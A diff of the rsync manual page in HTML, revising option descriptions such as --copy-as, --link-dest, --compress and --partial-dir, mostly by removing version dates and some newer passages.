host, if the remote shell is\n-incompatible with the default backslash-escaping method, or there is some\n+incompatible with the default backslash-escpaing method, or there is some\n other reason that you want the majority of the options and arguments to\n bypass the command-line of the remote shell.</p>\n-<p>This option is incompatible with remote rsync versions prior to 3.0.0\n-(March 2008).  It also has the drawback of being refused by restricted\n-shells that want to be able to inspect all the option values for safety.</p>\n-<p>If you combine this option with <a href=\"#opt--iconv\"><code>--iconv</code></a>, the arguments related to the\n+<p>If you combine this option with <a href=\"#opt--iconv\"><code>--iconv</code></a>, the args related to the\n remote side will be translated from the local to the remote character-set.\n The translation happens before wild-cards are expanded.  See also the\n <a href=\"#opt--files-from\"><code>--files-from</code></a> option.</p>\n@@ -2588,10 +2343,9 @@ enabled by default, otherwise it will be disabled by default.  Either state\n is overridden by a manually specified positive or negative version of this\n option (note that <code>--no-s</code> and <code>--no-secluded-args</code> are the negative\n versions).  This environment variable is also superseded by a non-zero\n-<a href=\"#RSYNC_OLD_ARGS\"><code>RSYNC_OLD_ARGS</code></a> environment variable.</p>\n+<a href=\"#RSYNC_OLD_ARGS\"><code>RSYNC_OLD_ARGS</code></a> export.</p>\n <p>This option conflicts with the <a href=\"#opt--old-args\"><code>--old-args</code></a> option.</p>\n-<p>This option used to be called <code>--protect-args</code> (before 3.2.6, September\n-2022) and that\n+<p>This option used to be called <code>--protect-args</code> (before 3.2.6) and that\n older name can still be used (though specifying it as <code>-s</code> is always the\n easiest and most compatible choice).</p>\n </dd>\n@@ -2602,10 +2356,10 @@ performs on the file list generated by a remote sender.  This option should\n only be used if you trust the sender to not put something malicious in the\n file list (something that could possibly be done via a modified rsync, a\n modified shell, or some other similar manipulation).</p>\n-<p>Normally, the rsync client runs two extra validation\n+<p>Normally, the rsync client (as of version 3.2.5) runs two extra validation\n checks when pulling files from a remote rsync:</p>\n <ul>\n-<li>It verifies that additional argument items didn't get added at the top of the\n+<li>It verifies that additional arg items didn't get added at the top of the\n transfer.</li>\n <li>It verifies that none of the items in the file list are names that should\n have been excluded (if filter rules were specified).</li>\n@@ -2616,18 +2370,18 @@ option interferes with the validation.  For instance:</p>\n <li>Using a per-directory filter file reads filter rules that only the server\n knows about, so the filter checking is disabled.</li>\n <li>Using the <a href=\"#opt--old-args\"><code>--old-args</code></a> option allows the sender to manipulate the\n-requested arguments, so the argument checking is disabled.</li>\n+requested args, so the arg checking is disabled.</li>\n <li>Reading the files-from list from the server side means that the client\n-doesn't know the argument list, so the argument checking is disabled.</li>\n+doesn't know the arg list, so the arg checking is disabled.</li>\n <li>Using <a href=\"#opt--read-batch\"><code>--read-batch</code></a> disables both checks since the batch file's\n contents will have been verified when it was created.</li>\n </ul>\n <p>This option may help an under-powered client server if the extra pattern\n-matching is slowing things down on a huge transfer.  It could also be used\n-for a transfer from a trusted sender as a workaround if there appeared to\n-be a bug in the verification logic.</p>\n+matching is slowing things down on a huge transfer.  It can also be used to\n+work around a currently-unknown bug in the verification logic for a transfer\n+from a trusted sender.</p>\n <p>When using this option it is a good idea to specify a dedicated destination\n-directory, as discussed in the <a href=\"#SECURITY\">SECURITY</a> section.</p>\n+directory, as discussed in the <a href=\"#MULTI-HOST_SECURITY\">MULTI-HOST SECURITY</a> section.</p>\n </dd>\n \n <dt id=\"opt--copy-as\"><code>--copy-as=USER[:GROUP]</code><a href=\"#opt--copy-as\" class=\"tgt\"></a></dt><dd>\n@@ -2635,9 +2389,8 @@ directory, as discussed in the <a href=\"#SECURITY\">SECURITY</a> section.</p>\n colon) the GROUP for the copy operations.  This only works if the user that\n is running rsync has the ability to change users.  If the group is not\n specified then the user's default groups are used.</p>\n-<p>This option can help to reduce the risk in the case where rsync is being\n-run as root, copying into or out of a directory that might have live\n-changes happening to it, and you\n+<p>This option can help to reduce the risk of an rsync being run as root into\n+or out of a directory that might have live changes happening to it and you\n want to make sure that root-level read or write actions of system files are\n not possible.  While you could alternatively run all of rsync as the\n specified user, sometimes you need the root-level host-access credentials\n@@ -2651,7 +2404,7 @@ provides a local-shell helper script that can be used to allow a\n &quot;localhost:&quot; or &quot;lh:&quot; host-spec to be specified without needing to setup\n any remote shells, allowing you to specify remote options that affect the\n side of the transfer that is using the host-spec (and using hostname &quot;lh&quot;\n-avoids the overriding of the remote directory to the user's home directory).</p>\n+avoids the overriding of the remote directory to the user's home dir).</p>\n <p>For example, the following rsync writes the local files as user &quot;joe&quot;:</p>\n <blockquote>\n <pre><code>sudo rsync -aiv --copy-as=joe host1:backups/joe/ /home/joe/\n@@ -2661,8 +2414,8 @@ avoids the overriding of the remote directory to the user's home directory).</p>\n are available to that user, and makes it impossible for the joe user to do\n a timed exploit of the path to induce a change to a file that the joe user\n has no permissions to change.</p>\n-<p>The following command does a local copy into the &quot;dest/&quot; directory as user &quot;joe&quot;\n-(assuming you've installed support/lsh into a directory on your $PATH):</p>\n+<p>The following command does a local copy into the &quot;dest/&quot; dir as user &quot;joe&quot;\n+(assuming you've installed support/lsh into a dir on your $PATH):</p>\n <blockquote>\n <pre><code>sudo rsync -aive lsh -M--copy-as=joe src/ lh:dest/\n </code></pre>\n@@ -2673,9 +2426,9 @@ has no permissions to change.</p>\n <p>This option instructs rsync to use DIR as a scratch directory when creating\n temporary copies of the files transferred on the receiving side.  The\n default behavior is to create each temporary file in the same directory as\n-the associated destination file.  The temp-file\n-names inside the specified DIR will not be prefixed with an extra dot,\n-though they will still have a random suffix added.</p>\n+the associated destination file.  Beginning with rsync 3.1.1, the temp-file\n+names inside the specified DIR will not be prefixed with an extra dot\n+(though they will still have a random suffix added).</p>\n <p>This option is most often used when the receiving disk partition does not\n have enough free space to hold a copy of the largest file in the transfer.\n In this case (i.e. when the scratch directory is on a different disk\n@@ -2683,7 +2436,9 @@ partition), rsync will not be able to rename each received temporary file\n over the top of the associated destination file, but instead must copy it\n into place.  Rsync does this by copying the file over the top of the\n destination file, which means that the destination file will contain\n-truncated data during this copy.  If this were not done this way,\n+truncated data during this copy.  If this were not done this way (even if\n+the destination file were first removed, the data locally copied to a\n+temporary file in the destination directory, and then renamed into place)\n it would be possible for the old file to continue taking up disk space (if\n someone had it open), and thus there might not be enough room to fit the\n new version on the disk at the same time.</p>\n@@ -2695,7 +2450,7 @@ don't have enough room to duplicate all the arriving files on the\n destination partition, another way to tell rsync that you aren't overly\n concerned about disk space is to use the <a href=\"#opt--partial-dir\"><code>--partial-dir</code></a> option\n with a relative path; because this tells rsync that it is OK to stash off a\n-copy of a single file in a subdirectory in the destination hierarchy, rsync will\n+copy of a single file in a subdir in the destination hierarchy, rsync will\n use the partial-dir as a staging area to bring over the copied file, and\n then rename it into place from there. (Specifying a <a href=\"#opt--partial-dir\"><code>--partial-dir</code></a>\n with an absolute path does not have this side-effect.)</p>\n@@ -2703,7 +2458,7 @@ with an absolute path does not have this side-effect.)</p>\n \n <span id=\"opt-y\"></span><dt id=\"opt--fuzzy\"><code>--fuzzy</code>, <code>-y</code><a href=\"#opt--fuzzy\" class=\"tgt\"></a></dt><dd>\n <p>This option tells rsync that it should look for a basis file for any\n-destination file that is missing.  With this option, rsync looks in the same\n+destination file that is missing.  The current algorithm looks in the same\n directory as the destination file for either a file that has an identical\n size and modified-time, or a similarly-named file.  If found, rsync uses\n the fuzzy basis file to try to speed up the transfer.</p>\n@@ -2724,7 +2479,7 @@ transferred to the destination directory.  This is useful for creating a\n sparse backup of just files that have changed from an earlier backup.  This\n option is typically used to copy into an empty (or newly created)\n directory.</p>\n-<p>Multiple <code>--compare-dest</code> directories may be\n+<p>Beginning in version 2.6.4, multiple <code>--compare-dest</code> directories may be\n provided, which will cause rsync to search the list in the order specified\n for an exact match.  If a match is found that differs only in attributes, a\n local copy is made and the attributes updated.  If a match is not found, a\n@@ -2732,10 +2487,10 @@ basis file from one of the <u>DIRs</u> will be selected to try to speed up the\n transfer.</p>\n <p>If <u>DIR</u> is a relative path, it is relative to the destination directory.\n See also <a href=\"#opt--copy-dest\"><code>--copy-dest</code></a> and <a href=\"#opt--link-dest\"><code>--link-dest</code></a>.</p>\n-<p>NOTE: rsync will remove a file from a\n+<p>NOTE: beginning with version 3.1.0, rsync will remove a file from a\n non-empty destination hierarchy if an exact match is found in one of the\n-compare-dest hierarchies, making the end result more closely match a fresh\n-copy.</p>\n+compare-dest hierarchies (making the end result more closely match a fresh\n+copy).</p>\n </dd>\n \n <dt id=\"opt--copy-dest\"><code>--copy-dest=DIR</code><a href=\"#opt--copy-dest\" class=\"tgt\"></a></dt><dd>\n@@ -2766,30 +2521,16 @@ some attributes are getting forced outside of rsync's control, such a mount\n option that squishes root to a single user, or mounts a removable drive\n with generic ownership (such as OS X's &quot;Ignore ownership on this volume&quot;\n option).</p>\n-<p>Multiple <code>--link-dest</code> directories may be\n+<p>Beginning in version 2.6.4, multiple <code>--link-dest</code> directories may be\n provided, which will cause rsync to search the list in the order specified\n for an exact match (there is a limit of 20 such directories).  If a match\n is found that differs only in attributes, a local copy is made and the\n attributes updated.  If a match is not found, a basis file from one of the\n <u>DIRs</u> will be selected to try to speed up the transfer.</p>\n-<p>Not every filesystem can hard-link a symlink, a device node, a FIFO or a\n-socket, and the destination need not agree with the one rsync was built on&nbsp;-&#8288;-&#8288; macOS builds on APFS, which can, and may write to HFS+, which cannot.\n-Where the destination refuses to link such an entry, it is copied instead\n-and the transfer carries on, so only that entry loses the space saving.\n-This applies to any refusal, because the error alone does not identify one:\n-link(2) reports <code>EPERM</code> both for a filesystem without hard links and for an\n-ordinary permission refusal.  Regular files have always behaved this way.</p>\n-<p>One case is not covered.  With <a href=\"#opt--hard-links\"><code>--hard-links</code></a> (<code>-H</code>), a group of\n-such entries hard-linked to <u>each other</u> in the source needs a second link,\n-from the first member to the rest, inside the destination itself.  Where\n-that link is refused too&nbsp;-&#8288;-&#8288; a destination that cannot hard-link the type at\n-all&nbsp;-&#8288;-&#8288; the members after the first are not created and the transfer fails.\n-A <code>--link-dest</code> on another filesystem is fine: only the link to <u>DIR</u> is\n-impossible there, and the ones within the destination still succeed.</p>\n <p>This option works best when copying into an empty destination hierarchy, as\n existing files may get their attributes tweaked, and that can affect\n alternate destination files via hard-links.  Also, itemizing of changes can\n-get a bit muddled.  Note that prior to version 3.1.0 (September 2013), an\n+get a bit muddled.  Note that prior to version 3.1.0, an\n alternate-directory exact match would never be found (nor linked into the\n destination) when a destination file already exists.</p>\n <p>Note that if you combine this option with <a href=\"#opt--ignore-times\"><code>--ignore-times</code></a>, rsync will not\n@@ -2798,11 +2539,11 @@ substitute for transferring the file, never as an additional check after\n the file is updated.</p>\n <p>If <u>DIR</u> is a relative path, it is relative to the destination directory.\n See also <a href=\"#opt--compare-dest\"><code>--compare-dest</code></a> and <a href=\"#opt--copy-dest\"><code>--copy-dest</code></a>.</p>\n-<p>Note that rsync versions prior to 2.6.1 (April 2004) had a bug that could prevent\n+<p>Note that rsync versions prior to 2.6.1 had a bug that could prevent\n <code>--link-dest</code> from working properly for a non-super-user when\n <a href=\"#opt--owner\"><code>--owner</code></a> (<code>-o</code>) was specified (or implied).  You can work-around\n-this bug by avoiding the <code>-o</code> option (or using <code>--no-o</code>) when sending to a\n-really old remote rsync.</p>\n+this bug by avoiding the <code>-o</code> option (or using <code>--no-o</code>) when sending to an\n+old rsync.</p>\n </dd>\n \n <span id=\"opt-z\"></span><dt id=\"opt--compress\"><code>--compress</code>, <code>-z</code><a href=\"#opt--compress\" class=\"tgt\"></a></dt><dd>\n@@ -2814,11 +2555,9 @@ unless you force the choice using the <a href=\"#opt--compress-choice\"><code>--co\n option.</p>\n <p>Run <code>rsync --version</code> to see the default compress list compiled into your\n version.</p>\n-<p>When both sides of the transfer are at least 3.2.0 (June 2020),\n-each side chooses its own\n-most-preferred algorithm that also appears in the peer's list.  Both sides\n-order their lists strongest-first, so they converge on the strongest mutual\n-choice.  If no common compress choice is found, rsync exits with\n+<p>When both sides of the transfer are at least 3.2.0, rsync chooses the first\n+algorithm in the client's list of choices that is also in the server's list\n+of choices.  If no common compress choice is found, rsync exits with\n an error.  If the remote rsync is too old to support checksum negotiation,\n its list is assumed to be &quot;zlib&quot;.</p>\n <p>The default order can be customized by setting the environment variable\n@@ -2863,7 +2602,7 @@ more compatible with an external zlib implementation).</p>\n \n <span id=\"opt--zl\"></span><dt id=\"opt--compress-level\"><code>--compress-level=NUM</code>, <code>--zl=NUM</code><a href=\"#opt--compress-level\" class=\"tgt\"></a></dt><dd>\n <p>Explicitly set the compression level to use (see <a href=\"#opt--compress\"><code>--compress</code></a>,\n-<code>-z</code>) instead of using the default.  The <a href=\"#opt--compress\"><code>--compress</code></a> option is\n+<code>-z</code>) instead of letting it default.  The <a href=\"#opt--compress\"><code>--compress</code></a> option is\n implied as long as the level chosen is not a &quot;don't compress&quot; level for the\n compression algorithm that is in effect (e.g. zlib compression treats level\n 0 as &quot;off&quot;).</p>\n@@ -2892,25 +2631,11 @@ report something like &quot;<code>Client compress: zstd (level 3)</code>&quot; (\n checksum choice in effect).</p>\n </dd>\n \n-<span id=\"opt--zt\"></span><dt id=\"opt--compress-threads\"><code>--compress-threads=NUM</code>, <code>--zt=NUM</code><a href=\"#opt--compress-threads\" class=\"tgt\"></a></dt><dd>\n-<p>Set the number of threads to spawn when compressing data. Setting this\n-option to 1 or more will instruct the compression library to spawn 1 or\n-more threads for compression. Ideally, increasing the number of threads\n-will increase transfer speed if the transfer is CPU bound on the sender.</p>\n-<p>This option does not affect decompression.</p>\n-<p>Compression algorithms that allow threading:</p>\n-<ul>\n-<li><code>zstd</code> (only when libzstd is compiled with threading support)</li>\n-</ul>\n-<p>This option is ignored if one of the above alogithms is not selected as the\n-<code>--compression-choice</code> or if compression not enabled.</p>\n-</dd>\n-\n <dt id=\"opt--skip-compress\"><code>--skip-compress=LIST</code><a href=\"#opt--skip-compress\" class=\"tgt\"></a></dt><dd>\n <p><strong>NOTE:</strong> no compression method currently supports per-file compression\n changes, so this option has no effect.</p>\n <p>Override the list of file suffixes that will be compressed as little as\n-possible.  Rsync can set the compression level on a per-file basis based on\n+possible.  Rsync sets the compression level on a per-file basis based on\n the file's suffix.  If the compression algorithm has an &quot;off&quot; level, then\n no compression occurs for those files.  Other algorithms that support\n changing the streaming level on-the-fly will have the level minimized to\n@@ -3079,9 +2804,6 @@ via a &quot;<code>*</code>&quot; or using an empty name.  For instance:</p>\n <pre><code>--usermap=:nobody --groupmap=*:nobody\n </code></pre>\n </blockquote>\n-<p>An empty <strong>FROM</strong> value matches only sender-side IDs that have no name.  It\n-is not a wildcard for named users or groups; use &quot;<code>*</code>&quot; when you want to map\n-every sender-side name.</p>\n <p>When the <a href=\"#opt--numeric-ids\"><code>--numeric-ids</code></a> option is used, the sender does not send any\n names, so all the IDs are treated as having an empty name.  This means that\n you will need to specify numeric <strong>FROM</strong> values if you want to map these\n@@ -3090,8 +2812,8 @@ nameless IDs to different values.</p>\n a super-user (see also the <a href=\"#opt--super\"><code>--super</code></a> and <a href=\"#opt--fake-super\"><code>--fake-super</code></a>\n options).  For the <code>--groupmap</code> option to work, the receiver will need to\n have permissions to set that group.</p>\n-<p>The <code>--usermap</code> option implies the\n-<a href=\"#opt--owner\"><code>--owner</code></a> (<code>-o</code>) option, and the <code>--groupmap</code> option implies the\n+<p>Starting with rsync 3.2.4, the <code>--usermap</code> option implies the\n+<a href=\"#opt--owner\"><code>--owner</code></a> (<code>-o</code>) option while the <code>--groupmap</code> option implies the\n <a href=\"#opt--group\"><code>--group</code></a> (<code>-g</code>) option (since rsync needs to have those options\n enabled for the mapping options to work).</p>\n <p>An older rsync client may need to use <a href=\"#opt-s\"><code>-s</code></a> to avoid a complaint\n@@ -3101,7 +2823,7 @@ about wildcard characters, but a modern rsync handles this automatically.</p>\n <dt id=\"opt--chown\"><code>--chown=USER:GROUP</code><a href=\"#opt--chown\" class=\"tgt\"></a></dt><dd>\n <p>This option forces all files to be owned by USER with group GROUP.  This is\n a simpler interface than using <a href=\"#opt--usermap\"><code>--usermap</code></a> &amp; <a href=\"#opt--groupmap\"><code>--groupmap</code></a>\n-directly, but it is implemented using those options internally, thus they\n+directly, but it is implemented using those options internally so they\n cannot be mixed.  If either the USER or GROUP is empty, no mapping for the\n omitted user/group will occur.  If GROUP is empty, the trailing colon may\n be omitted, but if USER is empty, a leading colon must be supplied.</p>\n@@ -3169,8 +2891,8 @@ when rsync's output is going to a file or pipe.</p>\n file, including attribute changes.  This is exactly the same as specifying\n <a href=\"#opt--out-format\"><code>--out-format='%i %n%L'</code></a>.  If you repeat the option, unchanged\n files will also be output, but only if the receiving rsync is at least\n-version 2.6.7 (March 2006). You can use <code>-vv</code> with older versions of rsync,\n-but that also turns on the output of other verbose messages.</p>\n+version 2.6.7 (you can use <code>-vv</code> with older versions of rsync, but that\n+also turns on the output of other verbose messages).</p>\n <p>The &quot;%i&quot; escape has a cryptic output that is 11 letters long.  The general\n format is like the string <code>YXcstpoguax</code>, where <strong>Y</strong> is replaced by the type\n of update being done, <strong>X</strong> is replaced by the file-type, and the other\n@@ -3206,7 +2928,7 @@ have changed, as follows:</p>\n <li>A <code>c</code> means either that a regular file has a different checksum (requires\n <a href=\"#opt--checksum\"><code>--checksum</code></a>) or that a symlink, device, or special file has a\n changed value.  Note that if you are sending files to an rsync prior to\n-3.0.1 (April 2008), this change flag will be present only for checksum-differing\n+3.0.1, this change flag will be present only for checksum-differing\n regular files.</li>\n <li>A <code>s</code> means the size of a regular file is different and will be updated\n by the file transfer.</li>\n@@ -3215,7 +2937,9 @@ the sender's value (requires <a href=\"#opt--times\"><code>--times</code></a>).  A\n <code>T</code> means that the modification time will be set to the transfer time,\n which happens when a file/symlink/device is updated without\n <a href=\"#opt--times\"><code>--times</code></a> and when a symlink is changed and the receiver can't\n-set its time.</li>\n+set its time. (Note: when using an rsync 3.0.0 client, you might see the\n+<code>s</code> flag combined with <code>t</code> instead of the proper <code>T</code> flag for this\n+time-setting failure.)</li>\n <li>A <code>p</code> means the permissions are different and are being updated to the\n sender's value (requires <a href=\"#opt--perms\"><code>--perms</code></a>).</li>\n <li>An <code>o</code> means the owner is different and is being updated to the sender's\n@@ -3231,8 +2955,8 @@ to the sender's value (requires <a href=\"#opt--crtimes\"><code>--crtimes</code></\n <li><code>b</code> means that both the access and create times are being updated</li>\n </ul>\n </li>\n-<li>An <code>a</code> means that the ACL information is being changed.</li>\n-<li>An <code>x</code> means that the extended attribute information is being changed.</li>\n+<li>The <code>a</code> means that the ACL information is being changed.</li>\n+<li>The <code>x</code> means that the extended attribute information is being changed.</li>\n </ul>\n <p>One other output is possible: when deleting files, the &quot;%i&quot; will output the\n string &quot;<code>*deleting</code>&quot; for each item that is being removed (assuming that you\n@@ -3249,7 +2973,7 @@ character.  A default format of &quot;%n%L&quot; is assumed if either\n name of the file and, if the item is a link, where it points).  For a full\n list of the possible escape characters, see the <a href=\"rsyncd.conf.5#log_format\"><code>log format</code></a> setting in the rsyncd.conf manpage.</p>\n <p>Specifying the <code>--out-format</code> option implies the <a href=\"#opt--info\"><code>--info=name</code></a>\n-option, which will mention each file, directory, etc. that gets updated in a\n+option, which will mention each file, dir, etc. that gets updated in a\n significant way (a transferred file, a recreated symlink/device, or a\n touched directory).  In addition, if the itemize-changes escape (%i) is\n included in the string (e.g. if the <a href=\"#opt--itemize-changes\"><code>--itemize-changes</code></a> option was\n@@ -3265,7 +2989,7 @@ information (followed, of course, by the out-format output).</p>\n </dd>\n \n <dt id=\"opt--log-file\"><code>--log-file=FILE</code><a href=\"#opt--log-file\" class=\"tgt\"></a></dt><dd>\n-<p>This option causes rsync to write the log of what it is doing to a file.  This is\n+<p>This option causes rsync to log what it is doing to a file.  This is\n similar to the logging that a daemon does, but can be requested for the\n client side and/or the server side of a non-daemon transfer.  If specified\n as a client option, transfer logging will be enabled with a default format\n@@ -3308,7 +3032,7 @@ which includes directories, symlinks, etc.  The total count will be\n followed by a list of counts by filetype (if the total is non-zero).  For\n example: &quot;(reg: 5, dir: 3, link: 2, dev: 1, special: 1)&quot; lists the totals\n for regular files, directories, symlinks, devices, and special files.  If\n-any value is 0, it is completely omitted from the list.</li>\n+any of value is 0, it is completely omitted from the list.</li>\n <li><code>Number of created files</code> is the count of how many &quot;files&quot; (generic\n sense) were created (as opposed to updated).  The total count will be\n followed by a list of counts by filetype (if the total is non-zero).</li>\n@@ -3316,23 +3040,17 @@ followed by a list of counts by filetype (if the total is non-zero).</li>\n sense) were deleted.  The total count will be\n followed by a list of counts by filetype (if the total is non-zero).\n Note that this line is only output if deletions are in effect, and only\n-if the negotiated protocol is at least 31 (the default when both sides\n-are 3.1.0, September 2013, or newer).</li>\n-<li><code>Number of 4 KiB logical blocks touched</code> is the number of unique 4 KiB\n-logical file regions covered by rsync's own write operations. This metric\n-decouples network payload from the scope of local file modifications.\n-For example, a small amount of <u>Literal data</u> can result in a massive\n-number of touched blocks if the modifications are highly scattered\n-across a file, especially when using <code>--inplace</code>.</li>\n+if protocol 31 is being used (the default for rsync 3.1.x).</li>\n <li><code>Number of regular files transferred</code> is the count of normal files that\n were updated via rsync's delta-transfer algorithm, which does not include\n-directories, symlinks, etc.</li>\n+dirs, symlinks, etc.  Note that rsync 3.1.0 added the word &quot;regular&quot; into\n+this heading.</li>\n <li><code>Total file size</code> is the total sum of all file sizes in the transfer.\n This does not count any size for directories or special files, but does\n include the size of symlinks.</li>\n <li><code>Total transferred file size</code> is the total sum of all files sizes for\n just the transferred files.</li>\n-<li><code>Literal data</code> is how much unmatched file-update data the sender had to send to\n+<li><code>Literal data</code> is how much unmatched file-update data we had to send to\n the receiver for it to recreate the updated files.</li>\n <li><code>Matched data</code> is how much data the receiver got locally when recreating\n the updated files.</li>\n@@ -3356,11 +3074,10 @@ sent to us, which makes the stats more consistent.</li>\n \n <span id=\"opt-8\"></span><dt id=\"opt--8-bit-output\"><code>--8-bit-output</code>, <code>-8</code><a href=\"#opt--8-bit-output\" class=\"tgt\"></a></dt><dd>\n <p>This tells rsync to leave all high-bit characters unescaped in the output\n-(to standard output or standard error)\n instead of trying to test them to see if they're valid in the current\n locale and escaping the invalid ones.  All control characters (but never\n tabs) are always escaped, regardless of this option's setting.</p>\n-<p>The escape idiom that started in 2.6.7 (March 2006) is to output a literal backslash\n+<p>The escape idiom that started in 2.6.7 is to output a literal backslash\n (<code>\\</code>) and a hash (<code>#</code>), followed by exactly 3 octal digits.  For example, a\n newline would output as &quot;<code>\\#012</code>&quot;.  A literal backslash that is in a\n filename is not escaped unless it is followed by a hash and 3 digits (0-9).</p>\n@@ -3378,21 +3095,12 @@ units&nbsp;-&#8288;-&#8288; see below).</li>\n </ol>\n <p>The default is human-readable level 1.  Each <code>-h</code> option increases the\n level by one.  You can take the level down to 0 (to output numbers as pure\n-digits) by specifying the <code>--no-human-readable</code> (<code>--no-h</code>) option.  Progress\n-rates are an exception: the default and <code>-h</code> use level 2, <code>--no-h</code> uses\n-level 0 and <code>-hh</code> uses level 3.</p>\n+digits) by specifying the <code>--no-human-readable</code> (<code>--no-h</code>) option.</p>\n <p>The unit letters that are appended in levels 2 and 3 are: <code>K</code> (kilo), <code>M</code>\n-(mega), <code>G</code> (giga), <code>T</code> (tera), <code>P</code> (peta) or <code>E</code> (exa). For example, a\n-1234567-byte file would output as 1.23M in level-2 (assuming that a\n-period is your local decimal point). Dynamic precision is applied, so the\n-three most-significant digits are shown (for example: 3.45M -&#8288;&gt; 46.7M -&#8288;&gt;\n-523M -&#8288;&gt; 1.24G -&#8288;&gt; ...).\n-Additionally an <code>i</code> is appended in level-3 to indicate the binary base.\n-The same file would output as 1.17Mi in level-3.\n-Counts, such as the number of files, never get a unit suffix: in levels 2\n-and 3 they are shown as in level 1 (for example: 523,297,101 files to\n-consider).</p>\n-<p>Backward compatibility note: versions of rsync prior to 3.1.0 (September 2013) do not\n+(mega), <code>G</code> (giga), <code>T</code> (tera), or <code>P</code> (peta).  For example, a 1234567-byte\n+file would output as 1.23M in level-2 (assuming that a period is your local\n+decimal point).</p>\n+<p>Backward compatibility note: versions of rsync prior to 3.1.0 do not\n support human-readable level 1, and they default to level 0.  Thus,\n specifying one or two <code>-h</code> options will behave in a comparable manner in\n old and new versions as long as you didn't specify a <code>--no-h</code> option prior\n@@ -3413,13 +3121,13 @@ rest of the file much faster.</p>\n also implying that it be enabled.  This enhanced partial-file method puts\n any partially transferred files into the specified <u>DIR</u> instead of writing\n the partial file out to the destination file.  On the next transfer, rsync\n-will use a file found in this directory as data to speed up the resumption of the\n+will use a file found in this dir as data to speed up the resumption of the\n transfer and then delete it after it has served its purpose.</p>\n <p>Note that if <a href=\"#opt--whole-file\"><code>--whole-file</code></a> is specified (or implied), any\n partial-dir files that are found for a file that is being updated will\n simply be removed (since rsync is sending files without using rsync's\n delta-transfer algorithm).</p>\n-<p>Rsync will create the <u>DIR</u> if it is missing, but just the last directory&nbsp;-&#8288;-&#8288; not\n+<p>Rsync will create the <u>DIR</u> if it is missing, but just the last dir&nbsp;-&#8288;-&#8288; not\n the whole path.  This makes it easy to use a relative path (such as\n &quot;<code>--partial-dir=.rsync-partial</code>&quot;) to have rsync create the\n partial-directory in the destination file's directory when it is needed,\n@@ -3440,13 +3148,13 @@ exclude/hide/protect rule for the partial-dir because:</p>\n <li>the auto-added rule may be ineffective at the end of your other rules, or</li>\n <li>you may wish to override rsync's exclude choice.</li>\n </ol>\n-<p>For instance, if you want to make rsync clean-up any left-over partial-directories\n+<p>For instance, if you want to make rsync clean-up any left-over partial-dirs\n that may be lying around, you should specify <a href=\"#opt--delete-after\"><code>--delete-after</code></a> and\n add a &quot;risk&quot; filter rule, e.g.  <code>-f 'R .rsync-partial/'</code>. Avoid using\n <a href=\"#opt--delete-before\"><code>--delete-before</code></a> or <a href=\"#opt--delete-during\"><code>--delete-during</code></a> unless you don't\n need rsync to use any of the left-over partial-dir data during the current\n run.</p>\n-<p>IMPORTANT: the partial-dir directory should not be writable by other users or it\n+<p>IMPORTANT: the <code>--partial-dir</code> should not be writable by other users or it\n is a security risk!  E.g. AVOID &quot;/tmp&quot;!</p>\n <p>You can also set the partial-dir value the <a href=\"#RSYNC_PARTIAL_DIR\"><code>RSYNC_PARTIAL_DIR</code></a>\n environment variable.  Setting this in the environment does not force\n@@ -3466,7 +3174,7 @@ conflicts with <code>--partial-dir</code>), and</li>\n partial file is now updated in-place instead of creating yet another\n tmp-file copy (so it maxes out at dest + tmp instead of dest + partial +\n tmp).  This requires both ends of the transfer to be at least version\n-3.2.0 (June 2020).</p>\n+3.2.0.</p>\n <p>For the purposes of the daemon-config's &quot;<code>refuse options</code>&quot; setting,\n <code>--partial-dir</code> does <u>not</u> imply <a href=\"#opt--partial\"><code>--partial</code></a>.  This is so that a\n refusal of the <a href=\"#opt--partial\"><code>--partial</code></a> option can be used to disallow the\n@@ -3478,12 +3186,12 @@ allowing the safer idiom provided by <code>--partial-dir</code>.</p>\n <p>This option puts the temporary file from each updated file into a holding\n directory until the end of the transfer, at which time all the files are\n renamed into place in rapid succession.  This attempts to make the updating\n-of the files a little closer to atomic.  By default the files are placed into a\n+of the files a little more atomic.  By default the files are placed into a\n directory named <code>.~tmp~</code> in each file's destination directory, but if\n you've specified the <a href=\"#opt--partial-dir\"><code>--partial-dir</code></a> option, that directory will be\n used instead.  See the comments in the <a href=\"#opt--partial-dir\"><code>--partial-dir</code></a> section for\n a discussion of how this <code>.~tmp~</code> dir will be excluded from the transfer,\n-and what you can do if you want rsync to cleanup old <code>.~tmp~</code> directories that\n+and what you can do if you want rsync to cleanup old <code>.~tmp~</code> dirs that\n might be lying around.  Conflicts with <a href=\"#opt--inplace\"><code>--inplace</code></a> and\n <a href=\"#opt--append\"><code>--append</code></a>.</p>\n <p>This option implies <a href=\"#opt--no-inc-recursive\"><code>--no-inc-recursive</code></a> since it needs the full\n@@ -3499,35 +3207,11 @@ the path is absolute), and</li>\n <li>there are no mount points in the hierarchy (since the delayed updates\n will fail if they can't be renamed into place).</li>\n </ol>\n-<p>See also the &quot;atomic-rsync&quot; python script in the &quot;support&quot; subdirectory for an\n-update algorithm that is even closer to atomic (it uses <a href=\"#opt--link-dest\"><code>--link-dest</code></a>\n+<p>See also the &quot;atomic-rsync&quot; python script in the &quot;support&quot; subdir for an\n+update algorithm that is even more atomic (it uses <a href=\"#opt--link-dest\"><code>--link-dest</code></a>\n and a parallel hierarchy of files).</p>\n </dd>\n \n-<dt id=\"opt--delay-symlinks\"><code>--delay-symlinks</code><a href=\"#opt--delay-symlinks\" class=\"tgt\"></a></dt><dd>\n-<p>This option tells the receiving rsync to hold back the creation of new and\n-changed symlinks until every other file in the transfer has been put into\n-place, including the renames done by <a href=\"#opt--delay-updates\"><code>--delay-updates</code></a>.  Without\n-it, a symlink is created as soon as rsync reaches it in the file list, so\n-for the rest of the transfer it can point at a file that hasn't arrived\n-yet.</p>\n-<p>This narrows the window in which the destination is inconsistent; it does\n-not make the update atomic.  A transfer that is interrupted before the end\n-leaves new symlinks missing and changed symlinks pointing at their old\n-targets.</p>\n-<p>If a symlink is moved to a new target and the old target is deleted, also\n-use <a href=\"#opt--delete-delay\"><code>--delete-delay</code></a> or <a href=\"#opt--delete-after\"><code>--delete-after</code></a>, since\n-<a href=\"#opt--delete-before\"><code>--delete-before</code></a> and the default <a href=\"#opt--delete-during\"><code>--delete-during</code></a> can\n-remove the old target while the old symlink still points at it.</p>\n-<p>This option implies <a href=\"#opt--no-inc-recursive\"><code>--no-inc-recursive</code></a> since it needs the full\n-file list in memory in order to be able to iterate over it at the end.</p>\n-<p>Conflicts with <a href=\"#opt--remove-source-files\"><code>--remove-source-files</code></a>, <a href=\"#opt--hard-links\"><code>--hard-links</code></a>,\n-<a href=\"#opt--compare-dest\"><code>--compare-dest</code></a>, <a 